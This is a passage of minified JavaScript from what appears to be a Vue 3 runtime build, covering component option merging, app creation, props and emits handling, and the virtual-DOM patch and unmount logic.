t){const n=t[r];let i;i=Xo(n)?\"default\"in n?Tl(n.from||r,n.default,!0):Tl(n.from||r):Tl(n),Xs(i)?Object.defineProperty(e,r,{enumerable:!0,configurable:!0,get:()=>i.value,set:t=>i.value=t}):e[r]=i}}(c,n,null),a)for(const t in a){const e=a[t];qo(e)&&(n[t]=e.bind(r))}if(i){0;const e=i.call(r,r);0,Xo(e)&&(t.data=Ws(e))}if(wc=!0,o)for(const t in o){const e=o[t],i=qo(e)?e.bind(r,r):qo(e.get)?e.get.bind(r,r):Ro;0;const a=!qo(e)&&qo(e.set)?e.set.bind(r):Ro,s=hp({get:i,set:a});Object.defineProperty(n,t,{enumerable:!0,configurable:!0,get:()=>s.value,set:t=>s.value=t})}if(s)for(const t in s)Ic(s[t],n,r,t);if(l){const t=qo(l)?l.call(r):l;Reflect.ownKeys(t).forEach(e=>{!function(t,e){if(zu){let r=zu.provides;const n=zu.parent&&zu.parent.provides;n===r&&(r=zu.provides=Object.create(n)),r[t]=e}}(e,t[e])})}function O(t,e){Uo(e)?e.forEach(e=>t(e.bind(r))):e&&t(e.bind(r))}if(u&&Cc(u,t,\"c\"),O(oc,p),O(ac,d),O(sc,m),O(lc,f),O(zl,h),O(Xl,g),O(fc,C),O(mc,w),O(dc,_),O(cc,b),O(uc,v),O(pc,I),Uo(k))if(k.length){const e=t.exposed||(t.exposed={});k.forEach(t=>{Object.defineProperty(e,t,{get:()=>r[t],set:e=>r[t]=e,enumerable:!0})})}else t.exposed||(t.exposed={});x&&t.render===Ro&&(t.render=x),null!=E&&(t.inheritAttrs=E),B&&(t.components=B),S&&(t.directives=S),I&&Kl(t)}function Cc(t,e,r){cl(Uo(t)?t.map(t=>t.bind(e.proxy)):t.bind(e.proxy),e,r)}function Ic(t,e,r,n){let i=n.includes(\".\")?Rl(r,n):()=>r[n];if(Vo(t)){const r=e[t];qo(r)&&Nl(i,r)}else if(qo(t))Nl(i,t.bind(r));else if(Xo(t))if(Uo(t))t.forEach(t=>Ic(t,e,r,n));else{const n=qo(t.handler)?t.handler.bind(r):e[t.handler];qo(n)&&Nl(i,n,t)}else 0}function kc(t){const e=t.type,{mixins:r,extends:n}=e,{mixins:i,optionsCache:o,config:{optionMergeStrategies:a}}=t.appContext,s=o.get(e);let l;return s?l=s:i.length||r||n?(l={},i.length&&i.forEach(t=>Ec(l,t,a,!0)),Ec(l,e,a)):l=e,Xo(e)&&o.set(e,l),l}function Ec(t,e,r,n=!1){const{mixins:i,extends:o}=e;o&&Ec(t,o,r,!0),i&&i.forEach(e=>Ec(t,e,r,!0));for(const i in e)if(n&&\"expose\"===i);else{const n=Bc[i]||r&&r[i];t[i]=n?n(t[i],e[i]):e[i]}return t}const Bc={data:Sc,props:Fc,emits:Fc,methods:Tc,computed:Tc,beforeCreate:Oc,created:Oc,beforeMount:Oc,mounted:Oc,beforeUpdate:Oc,updated:Oc,beforeDestroy:Oc,beforeUnmount:Oc,destroyed:Oc,unmounted:Oc,activated:Oc,deactivated:Oc,errorCaptured:Oc,serverPrefetch:Oc,components:Tc,directives:Tc,watch:function(t,e){if(!t)return e;if(!e)return t;const r=Po(Object.create(null),t);for(const n in e)r[n]=Oc(t[n],e[n]);return r},provide:Sc,inject:function(t,e){return Tc(Dc(t),Dc(e))}};function Sc(t,e){return e?t?function(){return Po(qo(t)?t.call(this,this):t,qo(e)?e.call(this,this):e)}:e:t}function Dc(t){if(Uo(t)){const e={};for(let r=0;r<t.length;r++)e[t[r]]=t[r];return e}return t}function Oc(t,e){return t?[...new Set([].concat(t,e))]:e}function Tc(t,e){return t?Po(Object.create(null),t,e):e}function Fc(t,e){return t?Uo(t)&&Uo(e)?[...new Set([...t,...e])]:Po(Object.create(null),xc(t),xc(null!=e?e:{})):e}function Nc(){return{app:null,config:{isNativeTag:Lo,performance:!1,globalProperties:{},optionMergeStrategies:{},errorHandler:void 0,warnHandler:void 0,compilerOptions:{}},mixins:[],components:{},directives:{},provides:Object.create(null),optionsCache:new WeakMap,propsCache:new WeakMap,emitsCache:new WeakMap}}let jc=0;function Mc(t,e){return function(r,n=null){qo(r)||(r=Po({},r)),null==n||Xo(n)||(n=null);const i=Nc(),o=new WeakSet,a=[];let s=!1;const l=i.app={_uid:jc++,_component:r,_props:n,_container:null,_context:i,_instance:null,version:gp,get config(){return i.config},set config(t){0},use:(t,...e)=>(o.has(t)||(t&&qo(t.install)?(o.add(t),t.install(l,...e)):qo(t)&&(o.add(t),t(l,...e))),l),mixin:t=>(i.mixins.includes(t)||i.mixins.push(t),l),component:(t,e)=>e?(i.components[t]=e,l):i.components[t],directive:(t,e)=>e?(i.directives[t]=e,l):i.directives[t],mount(o,a,c){if(!s){0;const u=l._ceVNode||Qu(r,n);return u.appContext=i,!0===c?c=\"svg\":!1===c&&(c=void 0),a&&e?e(u,o):t(u,o,c),s=!0,l._container=o,o.__vue_app__=l,dp(u.component)}},onUnmount(t){a.push(t)},unmount(){s&&(cl(a,l._instance,16),t(null,l._container),delete l._container.__vue_app__)},provide:(t,e)=>(i.provides[t]=e,l),runWithContext(t){const e=Rc;Rc=l;try{return t()}finally{Rc=e}}};return l}}let Rc=null;const Lc=(t,e)=>\"modelValue\"===e||\"model-value\"===e?t.modelModifiers:t[`${e}Modifiers`]||t[`${sa(e)}Modifiers`]||t[`${ca(e)}Modifiers`];function Qc(t,e,...r){if(t.isUnmounted)return;const n=t.vnode.props||jo;let i=r;const o=e.startsWith(\"update:\"),a=o&&Lc(n,e.slice(7));let s;a&&(a.trim&&(i=r.map(t=>Vo(t)?t.trim():t)),a.number&&(i=r.map(ha)));let l=n[s=pa(e)]||n[s=pa(sa(e))];!l&&o&&(l=n[s=pa(ca(e))]),l&&cl(l,t,6,i);const c=n[s+\"Once\"];if(c){if(t.emitted){if(t.emitted[s])return}else t.emitted={};t.emitted[s]=!0,cl(c,t,6,i)}}const Gc=new WeakMap;function Pc(t,e,r=!1){const n=r?Gc:e.emitsCache,i=n.get(t);if(void 0!==i)return i;const o=t.emits;let a={},s=!1;if(!qo(t)){const n=t=>{const r=Pc(t,e,!0);r&&(s=!0,Po(a,r))};!r&&e.mixins.length&&e.mixins.forEach(n),t.extends&&n(t.extends),t.mixins&&t.mixins.forEach(n)}return o||s?(Uo(o)?o.forEach(t=>a[t]=null):Po(a,o),Xo(t)&&n.set(t,a),a):(Xo(t)&&n.set(t,null),null)}function Wc(t,e){return!(!t||!Qo(e))&&(e=e.slice(2).replace(/Once$/,\"\"),Ho(t,e[0].toLowerCase()+e.slice(1))||Ho(t,ca(e))||Ho(t,e))}function Kc(t){const{type:e,vnode:r,proxy:n,withProxy:i,propsOptions:[o],slots:a,attrs:s,emit:l,render:c,renderCache:u,props:p,data:d,setupState:m,ctx:f,inheritAttrs:h}=t,g=Bl(t);let A,b;try{if(4&r.shapeFlag){const t=i||n,e=t;A=Hu(c.call(e,t,u,p,m,d,f)),b=s}else{const t=e;0,A=Hu(t.length>1?t(p,{attrs:s,slots:a,emit:l}):t(p,null)),b=e.props?s:Hc(s)}}catch(e){Iu.length=0,ul(e,t,1),A=Qu(_u)}let y=A;if(b&&!1!==h){const t=Object.keys(b),{shapeFlag:e}=y;t.length&&7&e&&(o&&t.some(Go)&&(b=Uc(b,o)),y=Pu(y,b,!1,!0))}return r.dirs&&(y=Pu(y,null,!1,!0),y.dirs=y.dirs?y.dirs.concat(r.dirs):r.dirs),r.transition&&Wl(y,r.transition),A=y,Bl(g),A}const Hc=t=>{let e;for(const r in t)(\"class\"===r||\"style\"===r||Qo(r))&&((e||(e={}))[r]=t[r]);return e},Uc=(t,e)=>{const r={};for(const n in t)Go(n)&&n.slice(9)in e||(r[n]=t[n]);return r};function Yc(t,e,r){const n=Object.keys(e);if(n.length!==Object.keys(t).length)return!0;for(let i=0;i<n.length;i++){const o=n[i];if(Jc(e,t,o)&&!Wc(r,o))return!0}return!1}function Jc(t,e,r){const n=t[r],i=e[r];return\"style\"===r&&Xo(n)&&Xo(i)?!Ea(n,i):n!==i}function Zc({vnode:t,parent:e},r){for(;e;){const n=e.subTree;if(n.suspense&&n.suspense.activeBranch===t&&(n.el=t.el),n!==t)break;(t=e.vnode).el=r,e=e.parent}}const qc={},Vc=()=>Object.create(qc),zc=t=>Object.getPrototypeOf(t)===qc;function Xc(t,e,r,n=!1){const i={},o=Vc();t.propsDefaults=Object.create(null),$c(t,e,i,o);for(const e in t.propsOptions[0])e in i||(i[e]=void 0);r?t.props=n?i:Hs(i,!1,Bs,js,Ls):t.type.props?t.props=i:t.props=o,t.attrs=o}function $c(t,e,r,n){const[i,o]=t.propsOptions;let a,s=!1;if(e)for(let l in e){if(ia(l))continue;const c=e[l];let u;i&&Ho(i,u=sa(l))?o&&o.includes(u)?(a||(a={}))[u]=c:r[u]=c:Wc(t.emitsOptions,l)||l in n&&c===n[l]||(n[l]=c,s=!0)}if(o){const e=qs(r),n=a||jo;for(let a=0;a<o.length;a++){const s=o[a];r[s]=tu(i,e,s,n[s],t,!Ho(n,s))}}return s}function tu(t,e,r,n,i,o){const a=t[r];if(null!=a){const t=Ho(a,\"default\");if(t&&void 0===n){const t=a.default;if(a.type!==Function&&!a.skipFactory&&qo(t)){const{propsDefaults:o}=i;if(r in o)n=o[r];else{const a=ep(i);n=o[r]=t.call(null,e),a()}}else n=t;i.ce&&i.ce._setProp(r,n)}a[0]&&(o&&!t?n=!1:!a[1]||\"\"!==n&&n!==ca(r)||(n=!0))}return n}const eu=new WeakMap;function ru(t,e,r=!1){const n=r?eu:e.propsCache,i=n.get(t);if(i)return i;const o=t.props,a={},s=[];let l=!1;if(!qo(t)){const n=t=>{l=!0;const[r,n]=ru(t,e,!0);Po(a,r),n&&s.push(...n)};!r&&e.mixins.length&&e.mixins.forEach(n),t.extends&&n(t.extends),t.mixins&&t.mixins.forEach(n)}if(!o&&!l)return Xo(t)&&n.set(t,Mo),Mo;if(Uo(o))for(let t=0;t<o.length;t++){0;const e=sa(o[t]);nu(e)&&(a[e]=jo)}else if(o){0;for(const t in o){const e=sa(t);if(nu(e)){const r=o[t],n=a[e]=Uo(r)||qo(r)?{type:r}:Po({},r),i=n.type;let l=!1,c=!0;if(Uo(i))for(let t=0;t<i.length;++t){const e=i[t],r=qo(e)&&e.name;if(\"Boolean\"===r){l=!0;break}\"String\"===r&&(c=!1)}else l=qo(i)&&\"Boolean\"===i.name;n[0]=l,n[1]=c,(l||Ho(n,\"default\"))&&s.push(e)}}}const c=[a,s];return Xo(t)&&n.set(t,c),c}function nu(t){return\"$\"!==t[0]&&!ia(t)}const iu=t=>\"_\"===t||\"_ctx\"===t||\"$stable\"===t,ou=t=>Uo(t)?t.map(Hu):[Hu(t)],au=(t,e,r)=>{if(e._n)return e;const n=Sl((...t)=>ou(e(...t)),r);return n._c=!1,n},su=(t,e,r)=>{const n=t._ctx;for(const r in t){if(iu(r))continue;const i=t[r];if(qo(i))e[r]=au(0,i,n);else if(null!=i){0;const t=ou(i);e[r]=()=>t}}},lu=(t,e)=>{const r=ou(e);t.slots.default=()=>r},cu=(t,e,r)=>{for(const n in e)!r&&iu(n)||(t[n]=e[n])};const uu=vu;function pu(t,e){Aa().__VUE__=!0;const{insert:r,remove:n,patchProp:i,createElement:o,createText:a,createComment:s,setText:l,setElementText:c,parentNode:u,nextSibling:p,setScopeId:d=Ro,insertStaticContent:m}=t,f=(t,e,r,n=null,i=null,o=null,a=void 0,s=null,l=!!e.dynamicChildren)=>{if(t===e)return;t&&!ju(t,e)&&(n=P(t),M(t,i,o,!0),t=null),-2===e.patchFlag&&(l=!1,e.dynamicChildren=null);const{type:c,ref:u,shapeFlag:p}=e;switch(c){case wu:h(t,e,r,n);break;case _u:g(t,e,r,n);break;case Cu:null==t&&A(e,r,n,a);break;case xu:k(t,e,r,n,i,o,a,s,l);break;default:1&p?y(t,e,r,n,i,o,a,s,l):6&p?E(t,e,r,n,i,o,a,s,l):(64&p||128&p)&&c.process(t,e,r,n,i,o,a,s,l,H)}null!=u&&i?Yl(u,t&&t.ref,o,e||t,!e):null==u&&t&&null!=t.ref&&Yl(t.ref,null,o,t,!0)},h=(t,e,n,i)=>{if(null==t)r(e.el=a(e.children),n,i);else{const r=e.el=t.el;e.children!==t.children&&l(r,e.children)}},g=(t,e,n,i)=>{null==t?r(e.el=s(e.children||\"\"),n,i):e.el=t.el},A=(t,e,r,n)=>{[t.el,t.anchor]=m(t.children,e,r,n,t.el,t.anchor)},b=({el:t,anchor:e})=>{let r;for(;t&&t!==e;)r=p(t),n(t),t=r;n(e)},y=(t,e,r,n,i,o,a,s,l)=>{if(\"svg\"===e.type?a=\"svg\":\"math\"===e.type&&(a=\"mathml\"),null==t)v(e,r,n,i,o,a,s,l);else{const r=t.el&&t.el._isVueCE?t.el:null;try{r&&r._beginPatch(),_(t,e,i,o,a,s,l)}finally{r&&r._endPatch()}}},v=(t,e,n,a,s,l,u,p)=>{let d,m;const{props:f,shapeFlag:h,transition:g,dirs:A}=t;if(d=t.el=o(t.type,l,f&&f.is,f),8&h?c(d,t.children):16&h&&w(t.children,d,null,a,s,du(t,l),u,p),A&&Ol(t,null,a,\"created\"),x(d,t,t.scopeId,u,a),f){for(const t in f)\"value\"===t||ia(t)||i(d,t,null,f[t],l,a);\"value\"in f&&i(d,\"value\",null,f.value,l),(m=f.onVnodeBeforeMount)&&Ju(m,a,t)}A&&Ol(t,null,a,\"beforeMount\");const b=fu(s,g);b&&g.beforeEnter(d),r(d,e,n),((m=f&&f.onVnodeMounted)||b||A)&&uu(()=>{m&&Ju(m,a,t),b&&g.enter(d),A&&Ol(t,null,a,\"mounted\")},s)},x=(t,e,r,n,i)=>{if(r&&d(t,r),n)for(let e=0;e<n.length;e++)d(t,n[e]);if(i){let r=i.subTree;if(e===r||yu(r.type)&&(r.ssContent===e||r.ssFallback===e)){const e=i.vnode;x(t,e,e.scopeId,e.slotScopeIds,i.parent)}}},w=(t,e,r,n,i,o,a,s,l=0)=>{for(let c=l;c<t.length;c++){const l=t[c]=s?Uu(t[c]):Hu(t[c]);f(null,l,e,r,n,i,o,a,s)}},_=(t,e,r,n,o,a,s)=>{const l=e.el=t.el;let{patchFlag:u,dynamicChildren:p,dirs:d}=e;u|=16&t.patchFlag;const m=t.props||jo,f=e.props||jo;let h;if(r&&mu(r,!1),(h=f.onVnodeBeforeUpdate)&&Ju(h,r,e,t),d&&Ol(e,t,r,\"beforeUpdate\"),r&&mu(r,!0),(m.innerHTML&&null==f.innerHTML||m.textContent&&null==f.textContent)&&c(l,\"\"),p?C(t.dynamicChildren,p,l,r,n,du(e,o),a):s||T(t,e,l,null,r,n,du(e,o),a,!1),u>0){if(16&u)I(l,m,f,r,o);else if(2&u&&m.class!==f.class&&i(l,\"class\",null,f.class,o),4&u&&i(l,\"style\",m.style,f.style,o),8&u){const t=e.dynamicProps;for(let e=0;e<t.length;e++){const n=t[e],a=m[n],s=f[n];s===a&&\"value\"!==n||i(l,n,a,s,o,r)}}1&u&&t.children!==e.children&&c(l,e.children)}else s||null!=p||I(l,m,f,r,o);((h=f.onVnodeUpdated)||d)&&uu(()=>{h&&Ju(h,r,e,t),d&&Ol(e,t,r,\"updated\")},n)},C=(t,e,r,n,i,o,a)=>{for(let s=0;s<e.length;s++){const l=t[s],c=e[s],p=l.el&&(l.type===xu||!ju(l,c)||198&l.shapeFlag)?u(l.el):r;f(l,c,p,null,n,i,o,a,!0)}},I=(t,e,r,n,o)=>{if(e!==r){if(e!==jo)for(const a in e)ia(a)||a in r||i(t,a,e[a],null,o,n);for(const a in r){if(ia(a))continue;const s=r[a],l=e[a];s!==l&&\"value\"!==a&&i(t,a,l,s,o,n)}\"value\"in r&&i(t,\"value\",e.value,r.value,o)}},k=(t,e,n,i,o,s,l,c,u)=>{const p=e.el=t?t.el:a(\"\"),d=e.anchor=t?t.anchor:a(\"\");let{patchFlag:m,dynamicChildren:f,slotScopeIds:h}=e;h&&(c=c?c.concat(h):h),null==t?(r(p,n,i),r(d,n,i),w(e.children||[],n,d,o,s,l,c,u)):m>0&&64&m&&f&&t.dynamicChildren&&t.dynamicChildren.length===f.length?(C(t.dynamicChildren,f,n,o,s,l,c),(null!=e.key||o&&e===o.subTree)&&hu(t,e,!0)):T(t,e,n,d,o,s,l,c,u)},E=(t,e,r,n,i,o,a,s,l)=>{e.slotScopeIds=s,null==t?512&e.shapeFlag?i.ctx.activate(e,r,n,a,l):B(e,r,n,i,o,a,l):S(t,e,l)},B=(t,e,r,n,i,o,a)=>{const s=t.component=Vu(t,n,i);if(ql(t)&&(s.ctx.renderer=H),sp(s,!1,a),s.asyncDep){if(i&&i.registerDep(s,D,a),!t.el){const n=s.subTree=Qu(_u);g(null,n,e,r),t.placeholder=n.el}}else D(s,t,e,r,i,o,a)},S=(t,e,r)=>{const n=e.component=t.component;if(function(t,e,r){const{props:n,children:i,component:o}=t,{props:a,children:s,patchFlag:l}=e,c=o.emitsOptions;if(e.dirs||e.transition)return!0;if(!(r&&l>=0))return!(!i&&!s||s&&s.$stable)||n!==a&&(n?!a||Yc(n,a,c):!!a);if(1024&l)return!0;if(16&l)return n?Yc(n,a,c):!!a;if(8&l){const t=e.dynamicProps;for(let e=0;e<t.length;e++){const r=t[e];if(Jc(a,n,r)&&!Wc(c,r))return!0}}return!1}(t,e,r)){if(n.asyncDep&&!n.asyncResolved)return void O(n,e,r);n.next=e,n.update()}else e.el=t.el,n.vnode=e},D=(t,e,r,n,i,o,a)=>{t.scope.on();const s=t.effect=new Ma(()=>{if(t.isMounted){let{next:e,bu:r,u:n,parent:s,vnode:c}=t;{const r=gu(t);if(r)return e&&(e.el=c.el,O(t,e,a)),void r.asyncDep.then(()=>{uu(()=>{t.isUnmounted||l()},i)})}let p,d=e;0,mu(t,!1),e?(e.el=c.el,O(t,e,a)):e=c,r&&ma(r),(p=e.props&&e.props.onVnodeBeforeUpdate)&&Ju(p,s,e,c),mu(t,!0);const m=Kc(t);0;const h=t.subTree;t.subTree=m,f(h,m,u(h.el),P(h),t,i,o),e.el=m.el,null===d&&Zc(t,m.el),n&&uu(n,i),(p=e.props&&e.props.onVnodeUpdated)&&uu(()=>Ju(p,s,e,c),i)}else{let a;const{el:s,props:l}=e,{bm:c,m:u,parent:p,root:d,type:m}=t,h=Zl(e);if(mu(t,!1),c&&ma(c),!h&&(a=l&&l.onVnodeBeforeMount)&&Ju(a,p,e),mu(t,!0),s&&Y){const e=()=>{t.subTree=Kc(t),Y(s,t.subTree,t,i,null)};h&&m.__asyncHydrate?m.__asyncHydrate(s,t,e):e()}else{d.ce&&d.ce._hasShadowRoot()&&d.ce._injectChildStyle(m,t.parent?t.parent.type:void 0);const a=t.subTree=Kc(t);0,f(null,a,r,n,t,i,o),e.el=a.el}if(u&&uu(u,i),!h&&(a=l&&l.onVnodeMounted)){const t=e;uu(()=>Ju(a,p,t),i)}(256&e.shapeFlag||p&&Zl(p.vnode)&&256&p.vnode.shapeFlag)&&t.a&&uu(t.a,i),t.isMounted=!0,e=r=n=null}});t.scope.off();const l=t.update=s.run.bind(s),c=t.job=s.runIfDirty.bind(s);c.i=t,c.id=t.uid,s.scheduler=()=>yl(c),mu(t,!0),l()},O=(t,e,r)=>{e.component=t;const n=t.vnode.props;t.vnode=e,t.next=null,function(t,e,r,n){const{props:i,attrs:o,vnode:{patchFlag:a}}=t,s=qs(i),[l]=t.propsOptions;let c=!1;if(!(n||a>0)||16&a){let n;$c(t,e,i,o)&&(c=!0);for(const o in s)e&&(Ho(e,o)||(n=ca(o))!==o&&Ho(e,n))||(l?!r||void 0===r[o]&&void 0===r[n]||(i[o]=tu(l,s,o,void 0,t,!0)):delete i[o]);if(o!==s)for(const t in o)e&&Ho(e,t)||(delete o[t],c=!0)}else if(8&a){const r=t.vnode.dynamicProps;for(let n=0;n<r.length;n++){let a=r[n];if(Wc(t.emitsOptions,a))continue;const u=e[a];if(l)if(Ho(o,a))u!==o[a]&&(o[a]=u,c=!0);else{const e=sa(a);i[e]=tu(l,s,e,u,t,!1)}else u!==o[a]&&(o[a]=u,c=!0)}}c&&cs(t.attrs,\"set\",\"\")}(t,e.props,n,r),((t,e,r)=>{const{vnode:n,slots:i}=t;let o=!0,a=jo;if(32&n.shapeFlag){const t=e._;t?r&&1===t?o=!1:cu(i,e,r):(o=!e.$stable,su(e,i)),a=e}else e&&(lu(t,e),a={default:1});if(o)for(const t in i)iu(t)||null!=a[t]||delete i[t]})(t,e.children,r),za(),wl(t),Xa()},T=(t,e,r,n,i,o,a,s,l=!1)=>{const u=t&&t.children,p=t?t.shapeFlag:0,d=e.children,{patchFlag:m,shapeFlag:f}=e;if(m>0){if(128&m)return void N(u,d,r,n,i,o,a,s,l);if(256&m)return void F(u,d,r,n,i,o,a,s,l)}8&f?(16&p&&G(u,i,o),d!==u&&c(r,d)):16&p?16&f?N(u,d,r,n,i,o,a,s,l):G(u,i,o,!0):(8&p&&c(r,\"\"),16&f&&w(d,r,n,i,o,a,s,l))},F=(t,e,r,n,i,o,a,s,l)=>{e=e||Mo;const c=(t=t||Mo).length,u=e.length,p=Math.min(c,u);let d;for(d=0;d<p;d++){const n=e[d]=l?Uu(e[d]):Hu(e[d]);f(t[d],n,r,null,i,o,a,s,l)}c>u?G(t,i,o,!0,!1,p):w(e,r,n,i,o,a,s,l,p)},N=(t,e,r,n,i,o,a,s,l)=>{let c=0;const u=e.length;let p=t.length-1,d=u-1;for(;c<=p&&c<=d;){const n=t[c],u=e[c]=l?Uu(e[c]):Hu(e[c]);if(!ju(n,u))break;f(n,u,r,null,i,o,a,s,l),c++}for(;c<=p&&c<=d;){const n=t[p],c=e[d]=l?Uu(e[d]):Hu(e[d]);if(!ju(n,c))break;f(n,c,r,null,i,o,a,s,l),p--,d--}if(c>p){if(c<=d){const t=d+1,p=t<u?e[t].el:n;for(;c<=d;)f(null,e[c]=l?Uu(e[c]):Hu(e[c]),r,p,i,o,a,s,l),c++}}else if(c>d)for(;c<=p;)M(t[c],i,o,!0),c++;else{const m=c,h=c,g=new Map;for(c=h;c<=d;c++){const t=e[c]=l?Uu(e[c]):Hu(e[c]);null!=t.key&&g.set(t.key,c)}let A,b=0;const y=d-h+1;let v=!1,x=0;const w=new Array(y);for(c=0;c<y;c++)w[c]=0;for(c=m;c<=p;c++){const n=t[c];if(b>=y){M(n,i,o,!0);continue}let u;if(null!=n.key)u=g.get(n.key);else for(A=h;A<=d;A++)if(0===w[A-h]&&ju(n,e[A])){u=A;break}void 0===u?M(n,i,o,!0):(w[u-h]=c+1,u>=x?x=u:v=!0,f(n,e[u],r,null,i,o,a,s,l),b++)}const _=v?function(t){const e=t.slice(),r=[0];let n,i,o,a,s;const l=t.length;for(n=0;n<l;n++){const l=t[n];if(0!==l){if(i=r[r.length-1],t[i]<l){e[n]=i,r.push(n);continue}for(o=0,a=r.length-1;o<a;)s=o+a>>1,t[r[s]]<l?o=s+1:a=s;l<t[r[o]]&&(o>0&&(e[n]=r[o-1]),r[o]=n)}}o=r.length,a=r[o-1];for(;o-- >0;)r[o]=a,a=e[a];return r}(w):Mo;for(A=_.length-1,c=y-1;c>=0;c--){const t=h+c,p=e[t],d=e[t+1],m=t+1<u?d.el||bu(d):n;0===w[c]?f(null,p,r,m,i,o,a,s,l):v&&(A<0||c!==_[A]?j(p,r,m,2):A--)}}},j=(t,e,i,o,a=null)=>{const{el:s,type:l,transition:c,children:u,shapeFlag:d}=t;if(6&d)return void j(t.component.subTree,e,i,o);if(128&d)return void t.suspense.move(e,i,o);if(64&d)return void l.move(t,e,i,H);if(l===xu){r(s,e,i);for(let t=0;t<u.length;t++)j(u[t],e,i,o);return void r(t.anchor,e,i)}if(l===Cu)return void(({el:t,anchor:e},n,i)=>{let o;for(;t&&t!==e;)o=p(t),r(t,n,i),t=o;r(e,n,i)})(t,e,i);if(2!==o&&1&d&&c)if(0===o)c.beforeEnter(s),r(s,e,i),uu(()=>c.enter(s),a);else{const{leave:o,delayLeave:a,afterLeave:l}=c,u=()=>{t.ctx.isUnmounted?n(s):r(s,e,i)},p=()=>{s._isLeaving&&s[Gl](!0),o(s,()=>{u(),l&&l()})};a?a(s,u,p):p()}else r(s,e,i)},M=(t,e,r,n=!1,i=!1)=>{const{type:o,props:a,ref:s,children:l,dynamicChildren:c,shapeFlag:u,patchFlag:p,dirs:d,cacheIndex:m}=t;if(-2===p&&(i=!1),null!=s&&(za(),Yl(s,null,r,t,!0),Xa()),null!=m&&(e.renderCache[m]=void 0),256&u)return void e.ctx.deactivate(t);const f=1&u&&d,h=!Zl(t);let g;if(h&&(g=a&&a.onVnodeBeforeUnmount)&&Ju(g,e,t),6&u)Q(t.component,r,n);else{if(128&u)return void t.suspense.unmount(r,n);f&&Ol(t,null,e,\"beforeUnmount\"),64&u?t.type.remove(t,e,r,H,n):c&&!c.hasOnce&&(o!==xu||p>0&&64&p)?G(c,e,r,!1,!0):(o===xu&&384&p||!i&&16&u)&&G(l,e,r),n&&R(t)}(h&&(g=a&&a.onVnodeUnmounted)||f)&&uu(()=>{g&&Ju(g,e,t),f&&Ol(t,null,e,\"unmounted\")},r)},R=t=>{const{type:e,el:r,anchor:i,transition:o}=t;if(e===xu)return void L(r,i);if(e===Cu)return void b(t);const a=()=>{n(r),o&&!o.persisted&&o.afterLeave&&o.afterLeave()};if(1&t.shapeFlag&&o&&!o.persisted){const{leave:e,delayLeave:n}=o,i=()=>e(r,a);n?n(t.el,a,i):i()}else a()},L=(t,e)=>{let r;for(;t!==e;)r=p(t),n(t),t=r;n(e)},Q=(t,e,r)=>{const{bum:n,scope:i,job:o,subTree:a,um:s,m:l,a:c}=t;Au(l),Au(c),n&&ma(n),i.stop(),o&&(o.flags|=8,M(a,t,e,r)),s&&uu(s,e),uu(()=>{t.isUnmounted=!0},e)},G=(t,e,r,n=!1,i=!1,o=0)=>{for(let a=o;a<t.length;a++)M(t[a],e,r,n,i)},P=t=>{if(6&t.shapeFlag)return P(t.component.subTree);if(128&t.shapeFlag)return t.suspense.next();const e=p(t.anchor||t.el),r=e&&e[Ll];return r?p(r):e};let W=!1;const K=(t,e,r)=>{let n;null==t?e._vnode&&(M(e._vnode,null,null,!0),n=e._vnode.component):f(e._vnode||null,t,e,null,null,null,r),e._vnode=t,W||(W=!0,wl(n),_l(),W=!1)},H={p:f,um:M,m:j,r:R,mt:B,mc:w,pc:T,pbc:C,n:P,o:t};let U,Y;return e&&([U,Y]=e(H)),{render:K,hydrate:U,createApp:Mc(K,U)}}function du({type:t,props:e},r){return\"svg\"===r&&\"foreignObject\"===t||\"mathml\"===r&&\"annotation-xml\"===t&&e&&e.encoding&&e.encoding.includes(\"html\")?void 0:r}function mu({effect:t,job:e},r){r?(t.flags|=32,e.flags|=4):(t.flags&=-33,e.flags&=-5)}function fu(t,e){return(!t||t&&!t.pendingBranch)&&e&&!e.persisted}function hu(t,e,r=!1){const n=t.children,i=e.children;if(Uo(n)&&Uo(i))for(let t=0;t<n.length;t++){const e=n[t];let o=i[t];1&o.shapeFlag&&!o.dynamicChildren&&((o.patchFlag<=0||32===o.patchFlag)&&(o=i[t]=Uu(i[t]),o.el=e.el),r||-2===o.patchFlag||hu(e,o)),o.type===wu&&(-1===o.patchFlag&&(o=i[t]=Uu(o)),o.el=e.el),o.type!==_u||o.el||(o.el=e.el)}}function gu(t){const e=t.subTree.component;if(e)return e.asyncDep&&!e.asyncResolved?e:gu(e)}function Au(t){if(t)for(let e=0;e<t.length;e++)t[e].flags|=8}function bu(t){if(t.placeholder)return t.placeholder;const e=t.component;return e?bu(e.subTree):null}const yu=t=>t.__isSuspense;function vu(t,e){e&&e.pendingBranch?Uo(t)?e.effects.push(...t):e.effects.push(t):xl(t)}const xu=Symbol.for(\"v-fgt\"),wu=Symbol.for(\"v-txt\"),_u=Symbol.for(\"v-cmt\"),Cu=Symbol.for(\"v-stc\"),Iu=[];let ku=null;function Eu(t=!1){Iu.push(ku=t?null:[])}function Bu(){Iu.pop(),ku=Iu[Iu.length-1]||null}let Su=1;function Du(t,e=!1){Su+=t,t<0&&ku&&e&&(ku.hasOnce=!0)}function Ou(t){return t.dynamicChildren=Su>0?ku||Mo:null,Bu(),Su>0&&ku&&ku.push(t),t}function Tu(t,e,r,n,i,o){return Ou(Lu(t,e,r,n,i,o,!0))}function Fu(t,e,r,n,i){return Ou(Qu(t,e,r,n,i,!0))}function Nu(t){return!!t&&!0===t.__v_isVNode}function ju(t,e){return t.type===e.type&&t.key===e.key}const Mu=({key:t})=>null!=t?t:null,Ru=({ref:t,ref_key:e,ref_for:r})=>(\"number\"==typeof t&&(t=\"\"+t),null!=t?Vo(t)||Xs(t)||qo(t)?{i:kl,r:t,k:e,f:!!r}:t:null);function Lu(t,e=null,r=null,n=0,i=null,o=(t===xu?0:1),a=!1,s=!1){const l={__v_isVNode:!0,__v_skip:!0,type:t,props:e,key:e&&Mu(e),ref:e&&Ru(e),scopeId:El,slotScopeIds:null,children:r,component:null,suspense:null,ssContent:null,ssFallback:null,dirs:null,transition:null,el:null,anchor:null,target:null,targetStart:null,targetAnchor:null,staticCount:0,shapeFlag:o,patchFlag:n,dynamicProps:i,dynamicChildren:null,appContext:null,ctx:kl};return s?(Yu(l,r),128&o&&t.normalize(l)):r&&(l.shapeFlag|=Vo(r)?8:16),Su>0&&!a&&ku&&(l.patchFlag>0||6&o)&&32!==l.patchFlag&&ku.push(l),l}const Qu=Gu;function Gu(t,e=null,r=null,n=0,i=null,o=!1){if(t&&t!==hc||(t=_u),Nu(t)){const n=Pu(t,e,!0);return 